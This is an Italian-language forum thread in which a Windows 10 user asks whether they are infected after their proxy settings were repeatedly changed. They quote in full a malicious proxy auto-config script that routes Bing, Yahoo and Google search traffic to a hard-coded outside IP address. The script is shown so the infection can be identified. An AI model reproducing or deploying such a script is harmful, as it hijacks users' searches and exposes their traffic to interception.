[Win10] localhost.world. Sono infetto?

[psychok9]

Mentre ero su Facebook, mi sono ritrovato il browser chiuso (per un attimo ho visto una finestra nera)... e ho notato che ho ritrovato questo percorso nella configurazione Internet proxy di Windows
(utilizza script di configurazione automatica):
https://localhost.world/localhost.world

function FindProxyForURL(url, host) {

 	if (shExpMatch(host, "www.bing.com")) return "PROXY 69.197.188.122:8484"; 
	if (shExpMatch(host, "*.search.yahoo.com")) return "PROXY 69.197.188.122:8484";	

	ga = /^https?:\/\/www\.google\.[a-zA-Z.]+\/?$/;if (ga.test(url)) { return "PROXY 69.197.188.122:8484" }
	

	gb = /^https?:\/\/www\.google\.[a-zA-Z.]+\/\?(.*)$/;if (gb.test(url)) { return "PROXY 69.197.188.122:8484" }

	
	gc = /^https?:\/\/www\.google\.[a-zA-Z.]+\/search\?(.*)$/;if (gc.test(url)) { return "PROXY 69.197.188.122:8484" }

	
	gd = /^https?:\/\/www\.google\.[a-zA-Z.]+\/cse\?(.*)$/;if (gd.test(url)) { return "PROXY 69.197.188.122:8484" }

	ge = /^https?:\/\/www\.google\.[a-zA-Z.]+\/s\?(.*)$/;if (ge.test(url)) { return "PROXY 69.197.188.122:8484" }

	gx = /^https?:\/\/cse\.google\.[a-zA-Z.]+\/cse\?(.*)$/;if (gx.test(url)) { return "PROXY 69.197.188.122:8484" }

	
	return "DIRECT";

}

Cosa può essere? Ho fatto scansioni complete, con Windows Defender, Avira, kaspersky removal tool, ... il sistema sembra pulito.

[psychok9]

Malware Bytes Niente.
Ho trovato file generati continuamente su C:\Windows\temp
"tmp00000000" e altri... che poi spariscono.
Adesso avira mi segnala TR/Patched.Ren.Gen2 sul file temp, ma non vorrei che fosse un falso allarme, dovuto ad AdAware.
Dopo che non ha trovato nulla l'ho disinstallato e i file sembrano spariti... in più avevo fatto anche un Windows Repair... mi tocca cambiare le password?!

[psychok9]

In rete non riesco a trovare nessun caso in cui venga impostato localhost.world come configurazione proxy...
Mi sembra parecchio strano, anche solo un suggerimento sarebbe qualcosa.

[psychok9]

Oggi mi è capitato di nuovo, si è chiuso improvvisamente youtube mentre guardavo un video e mi sono ritrovato "impostazioni LAN" modificato!
Avevo già cancellato tutta la cache... e non ho estensioni strane attive.

Help

[psychok9]

Sembra che qualcun'altro abbia il mio stesso problema.
Oggi ho ritrovato impostato lo stesso file di configurazione...

http://www.tenforums.com/antivirus-f...t-world-2.html